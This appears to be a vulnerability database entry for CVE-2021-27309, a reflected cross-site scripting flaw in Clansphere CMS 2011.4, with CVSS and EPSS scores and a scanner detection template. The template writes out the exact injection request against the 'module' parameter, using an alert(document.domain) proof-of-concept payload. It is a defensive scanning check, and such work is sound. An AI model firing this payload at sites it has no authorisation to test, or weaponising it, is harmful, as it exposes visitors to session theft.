4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
43.6%
Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the "module" parameter.
id: CVE-2021-27309
info:
name: Clansphere CMS 2011.4 - Cross-Site Scripting
author: edoardottt
severity: medium
description: |
Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the "module" parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to a patched version of Clansphere CMS or apply the vendor-supplied patch to fix the XSS vulnerability.
reference:
- https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22module%22%20xss.md
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27309
- https://nvd.nist.gov/vuln/detail/CVE-2021-27309
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-27309
cwe-id: CWE-79
epss-score: 0.00106
epss-percentile: 0.43249
cpe: cpe:2.3:a:csphere:clansphere:2011.4:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: csphere
product: clansphere
tags: cve2021,cve,clansphere,xss,cms,unauth,csphere
http:
- method: GET
path:
- "{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22></script><script>alert(document.domain)</script>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"></script><script>alert(document.domain)</script>.php'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022100c87a96a99fe91bc4f66db14b729c4c3899aaf8dc807d296ffc2ba25bf8b5e645022005527effb1edd34301335e3af7e55c9d52becdc54ef12a67bb08a563b3fd13bb:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
43.6%